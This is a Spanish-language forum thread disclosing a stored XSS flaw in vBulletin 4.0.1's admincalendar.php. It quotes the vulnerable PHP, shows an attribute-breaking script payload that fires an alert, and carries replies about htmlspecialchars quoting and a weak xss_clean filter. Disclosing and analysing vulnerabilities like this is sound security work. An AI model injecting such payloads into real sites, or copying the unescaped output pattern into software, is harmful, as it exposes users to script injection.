XSS vBulletin 4.0.1 [admincalendar.php]

Iniciado por Shell Root, 6 Marzo 2010, 08:11 AM

0 Miembros y 1 Visitante están viendo este tema.

Shell Root

XSS vBulletin 4.0.1

By: Shell Root



Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
Código (php) [Seleccionar]
$db->query_write("
INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
(
calendarid,
title,
options,
allowentry,
required,
length,
description
)
VALUES
(" .
$vbulletin->GPC['calendarid'] .", '" .
$db->escape_string($vbulletin->GPC['title']) . "', '" .
$db->escape_string($vbulletin->GPC['options']) . "', " .
$vbulletin->GPC['allowentry'] . ", " .
$vbulletin->GPC['required'] . ", " .
$vbulletin->GPC['length'] . ", '" .
$db->escape_string($vbulletin->GPC['description']) . "'
)
");
}


Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
Código (php) [Seleccionar]
function escape_string($string)
{
if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
{
return $this->functions['escape_string']($string, $this->connection_master);
}
else
{
return $this->functions['escape_string']($string);
}
}

Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).

Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...

Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
Código (php) [Seleccionar]
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

Podemos realizar esto para bypassear el input:
Código (php) [Seleccionar]
"><script>alert(/XSS/)</script>

A lo que al llamarlo quedará así, provocando un XSS Persistente:
Código (php) [Seleccionar]
<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

~ Yoya ~

Bien hecho Shell Root, me gusta las explicaciones con el source en la mano xD, saludos.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

Shell Root

xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código (php) [Seleccionar]
function xss_clean($var)
{
static
$preg_find    = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script',   'vb script');

return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}


:silbar:

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

AlbertoBSD

Shell Root, es interesante, aunque esto desanima mucho:

CitarNOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador

Buen aporte!!

Saludos

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

~ Yoya ~

Recuerda que htmlspecialchars tiene el parametro por defecto ENT_COMPAT y convierte las comillas dobles a simples y solo hace eso, para poder filtrar XSS correctamente hay que usar el parametro ENT_QUOTES que filtra las comillas simples y dobles.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.


Castg!

#6
Cita de: tooRllehS@xelA en  6 Marzo 2010, 15:28 PM
xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código (php) [Seleccionar]
function xss_clean($var)
{
static
$preg_find    = array('#^javascript#i', '#^vbscript#i'),
$preg_replace = array('java script',   'vb script');

return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
}


:silbar:



pero fijate que esa funcion lo que hace no es un "antixss" sino que evita la ejecucion de codigo desde la barra de direcciones, proba comentando esto:
[url]javascript:alert(1)[/url]


quedara: javascript:alert(1)


esto se llama jasildbg

javascript inLine DeBuGer (JaSiLDBG)